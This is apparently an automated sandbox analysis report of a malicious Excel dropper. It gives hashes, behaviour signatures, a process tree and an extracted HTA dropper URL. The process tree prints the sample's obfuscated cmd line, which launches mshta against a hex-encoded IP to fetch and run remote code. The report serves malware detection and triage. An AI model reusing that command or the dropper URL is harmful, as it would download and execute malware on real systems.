Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 18:40

General

  • Target

    cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f.xls

  • Size

    114KB

  • MD5

    449a2e43961640dc6331c4747bc108cb

  • SHA1

    4ef0b29acf8537bd0e13792537acb300446f26e5

  • SHA256

    cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f

  • SHA512

    6ebf2bc7ab872687cd034f93da26a609c9fa95b031d476becf0129e992bf4f8dc2a2ca483edc1c02105b63ae39525b5f9508718e47253fd57e071dce770dcf7d

  • SSDEEP

    3072:yW+nBqmsk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIXxe53lGvFTQ3IzxgdrvxpU0S:t+nBqmsk3hbdlylKsgqopeJBWhZFVE+S

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe5.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2916
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\SysWOW64\PING.EXE
        ping google.com
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2692
      • C:\Windows\SysWOW64\timeout.exe
        timeout 4
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2696
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe5.html
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:3016

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2916-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2916-1-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

    Filesize

    44KB

  • memory/2916-2-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

    Filesize

    44KB